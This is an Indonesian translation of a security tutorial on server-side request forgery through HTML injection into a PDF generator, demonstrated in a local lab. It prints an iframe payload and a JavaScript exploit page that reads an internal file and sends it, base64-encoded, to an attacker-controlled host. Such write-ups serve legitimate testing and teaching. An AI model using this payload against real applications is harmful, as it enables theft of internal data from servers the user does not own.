Injeksi HTML PDF via SSRF – Pada penilaian aplikasi baru-baru ini, saya menemukan titik akhir yang akan mengambil HTML dari masukan pengguna dan menghasilkan PDF darinya. Saya tahu bahwa SSRF dapat dilakukan dengan menyisipkan iframe, namun saya ingin mengetahui bagaimana hal ini dapat disalahgunakan dalam skenario yang lebih kompleks. Bagaimana dengan sumber daya di server yang berbeda? Bagaimana CORS mempengaruhi eksploitasi? Bagaimana jika saya tidak memiliki akses ke respons permintaan? Saya mulai menjelajahinya lebih dalam. Artikel ini adalah ikhtisar singkat temuan saya, pengaturan lab sederhana, dan beberapa contoh eksploitasi.
Disclaimer : Jangan mencoba salah satu teknik ini pada aset atau aplikasi yang Anda tidak mempunyai izin eksplisit untuk mengujinya.
Daftar isi
Tinjauan Singkat Pembuatan SSRF & PDF
Bagi anda yang belum terbiasa, Server Side Request Forgery (SSRF) adalah kelas kerentanan di mana penyerang dapat memaksa server yang rentan untuk membuat permintaan atas nama penyerang. Hal ini memungkinkan penyerang mengakses sumber daya internal, membatasi bagian aplikasi, dan mungkin membahayakan aplikasi itu sendiri. Contoh umum adalah menggunakan SSRF untuk meminta informasi dari layanan meta data cloud (Lihat Hacktricks : Cloud SSRF untuk lebih jelasnya).
SSRF umumnya hadir dalam dua bentuk : baca penuh dan buta. SSRF yang dibaca secara penuh mengembalikan konten respons dari permintaan ke penyerang. Alternatifnya, SSRF buta tidak mengembalikan isi tanggapannya.
Bagaimana ini bisa diterapkan pada pembuatan PDF? Seringkali, aplikasi web akan menggunakan masukan pengguna dalam pembuatan PDF. Cara PDF dan masukan pengguna dirender sangat bergantung pada perpustakaan yang digunakan. Namun, banyak aplikasi menggunakan elemen HTML untuk memformat dan menata PDF dengan mudah. Oleh karena itu, jika masukan pengguna dirender dalam PDF, elemen HTML baru dapat dimasukkan. Saat PDF dibuat di sisi server, aplikasi akan membuat permintaan ke sumber daya jarak jauh jika diperlukan untuk memastikan bahwa semua konten HTML yang disertakan dalam PDF ditampilkan dengan benar pada dokumen akhir. Oleh karena itu, jika pengguna dapat memasukkan elemen HTML dengan sumber jarak jauh, server akan membuat permintaan ke sumber tersebut ketika PDF dibuat: SSRF.
Mulai Pengujian Pembuatan Exploit SSRF & PDF
Untuk mendemonstrasikan prinsip di balik SSRF dalam pembuatan PDF, saya telah menyiapkan aplikasi web sederhana dan lab lokal. Aplikasi ini menggunakan HiQPdf , perpustakaan .NET umum yang digunakan untuk mengubah HTML menjadi PDF. Halaman beranda diatur untuk mengambil HTML dari formulir POST.
Kode yang memproses HTML hanya 3 baris. Ini membuat HtmlToPdf konverter baru, menyimpan nilai html data POST dalam variabel bernama pdfBuffer, dan menggunakan konverter untuk membuat PDF yang dikembalikan ke pengguna sebagai mypdf.pdf
Aplikasi ini berjalan pada host Windows 10 di alamat lokal 192.168.0.133. Saya juga memiliki host Kali kedua di subnet yang sama untuk mendemonstrasikan eksploitasi jarak jauh di alamat tersebut 192.168.0.131.
Terakhir, ada server web kedua yang berjalan 127.0.0.1:80 di host Windows dengan flag.txt dokumen di root-nya. Ini akan menjadi target kami.
Full Read Exploit
Kami mengetahui bahwa aplikasi tersebut rentan terhadap injeksi HTML. Dalam contoh pertama ini, kita akan dapat melihat PDF final dan semua elemen yang kita sisipkan. Ini adalah skenario yang mudah untuk dieksploitasi, karena kita hanya perlu memilih elemen HTML yang akan merender halaman web yang ingin kita lihat; pilihan paling sederhana adalah .<iframe>
Dengan mengatur sumber iframe ke sumber daya yang diinginkan, sumber daya tersebut akan ditanyakan ketika PDF dibuat dan mengembalikan respons permintaan secara penuh.
Ini adalah skenario yang sangat mudah. Namun bagaimana jika kita tidak dapat melihat respons lengkapnya?
Exploit Buta (tidak terlihat)
Ada beberapa situasi di mana kami mungkin tidak menerima tanggapan. Mungkin PDF dibuat dan kontennya tidak ditampilkan dengan jelas, atau mungkin ditempatkan di lokasi yang tidak dapat diakses oleh pengguna. Dalam kasus apa pun, mengirim permintaan ke sumber daya jarak jauh dapat dilakukan, tetapi kita memerlukan cara baru untuk mendapatkan respons.
Untuk menguraikan konsepnya, kami ingin eksploitasi berfungsi seperti ini :
- Kami akan meng-host dokumen HTML di server yang kami kendalikan yang berisi JavaScript in-line.
- JavaScript pertama-tama akan mengirimkan permintaan ke flag yang dihosting di mesin secara lokal.
- Ini akan menyimpan konten tanggapan ini.
- Kemudian konten respons tersebut akan dikirimkan kembali kepada kami dalam bentuk string kueri URL ke server yang kami kendalikan.
- Ketika kami memaksa server yang rentan untuk mengakses halaman ini, JavaScript yang ada di dalamnya akan dieksekusi oleh kerangka kerja penghasil PDF, sehingga mengambil dan mengirimkan data kembali kepada kami tanpa kami pernah melihat PDF finalnya.
Ada dua peringatan penting terhadap eksploitasi yang perlu dipertimbangkan di sini. Pertama, kebijakan CORS dari sumber daya yang kita ingin agar ditanyakan oleh server. Mencakup secara spesifik CORS berada di luar cakupan artikel ini, tetapi Anda dapat menemukan penjelasan bagus dari PortSwigger dan kerentanan terkait di sini . Dalam kasus eksploitasi SSRF buta, kami ingin server membuat permintaan ke sumber daya jarak jauh dan menyimpan responsnya. Agar server yang rentan dapat menyimpan respons, sumber daya jarak jauh harus memiliki kebijakan CORS yang longgar. Demi contoh ini, bendera kami dihosting di server web yang memiliki kebijakan terbuka, di mana asal mana pun dapat membaca konten tanggapannya.
Kedua, apakah kerangka PDF yang memproses HTML juga memproses JavaScript di dalam HTML. Mungkin saja ia hanya merender HTML tetapi tidak merender skrip sebaris apa pun. Hal ini sepenuhnya bergantung pada kerangka yang digunakan.
Petunjuk : jika Anda pernah mengujinya pada penilaian aplikasi atau pada target bug bounty, Anda sering kali dapat menemukan nama kerangka kerja dalam metadata PDF yang dibuat oleh aplikasi.
Untungnya, HiQPdf melakukan hal itu. Jika kita membuat iframe yang merender halaman HTML jarak jauh, server juga akan mengeksekusi JavaScript pada halaman tersebut.
Dengan mengingat semua hal tersebut, kita dapat menulis eksploitasi secara efektif. Dokumen HTML kami adalah sebagai berikut :
exploit.html<html>
<body>
<script>
const xhr = new XMLHttpRequest();
xhr.open(‘GET’, ‘http://127.0.0.1/flag.txt’, false); // Synchronous request
xhr.send();
if (xhr.status === 200) {
const responseData = xhr.responseText;
url = ‘http://192.168.0.131/?exfil=’ + btoa(responseData);
const xhr2 = new XMLHttpRequest();
xhr2.open(‘GET’, url, false); // Synchronous request
xhr2.setRequestHeader(‘Content-Type’, ‘text/plain’);
xhr2.send();
}
</script>
</body>
</html>
Mari kita bahas ini secara singkat. Bagian pertama mengirimkan permintaan GET ke flag yang dihosting secara lokal menggunakan XMLHttpRequest(). Permintaan itu sendiri harus sinkron. Jika tidak, maka generator PDF akan mengirimkan permintaan tetapi tidak menunggu tanggapan. Hal ini membuat langkah kedua tidak mungkin dilaksanakan dengan andal.
Bagian selanjutnya kemudian memeriksa apakah permintaan pertama dipenuhi dengan kode respons 200. Kemudian menyimpan konten respon dalam variabel bernama responseData. Data respons kemudian digabungkan ke URL server yang kami kendalikan dan dikodekan dalam base64 untuk memastikan bahwa data tersebut dapat dikirim dengan andal. Server yang rentan kemudian menanyakan URL tersebut.
Sekarang kita akan melakukan hal yang sama seperti yang kita lakukan pada eksploitasi baca penuh dan membuat iframe. Kali ini, sumber daya yang diminta akan menjadi file eksploitasi kita, bukan benderanya.
<iframe src=http://192.168.0.131/exploit.html></iframe>
Kami memulai server web kami, dan mengirimkan permintaan. Kami menerima dua permintaan dari server yang rentan: satu untuk eksploitasi kami, dan yang lainnya dengan data yang dikodekan base64! Kami memecahkan kode data, dan mendapatkan nilai benderanya. Kami telah berhasil mengeksploitasi SSRF buta untuk mengambil sumber daya yang tidak dapat diakses tanpa memiliki akses ke PDF.
Kesimpulan
Meskipun SSRF umum digunakan dalam pembuatan PDF, teknik eksploitasi sebenarnya mungkin berbeda. Eksploitasi dapat sangat bergantung pada kerangka kerja dan bahasa yang digunakan, apakah kerentanannya bersifat full read atau blind, dan kebijakan CORS dari sumber daya yang diinginkan. Dengan mengingat hal tersebut, masih mungkin untuk mengambil pendekatan baru dan bertahap untuk mengeksploitasi kerentanan SSRF dalam Injeksi HTML PDF.
sumber : https://infosecwriteups.com/exploiting-ssrf-in-pdf-html-injection-basic-and-blind-047fec5317ae
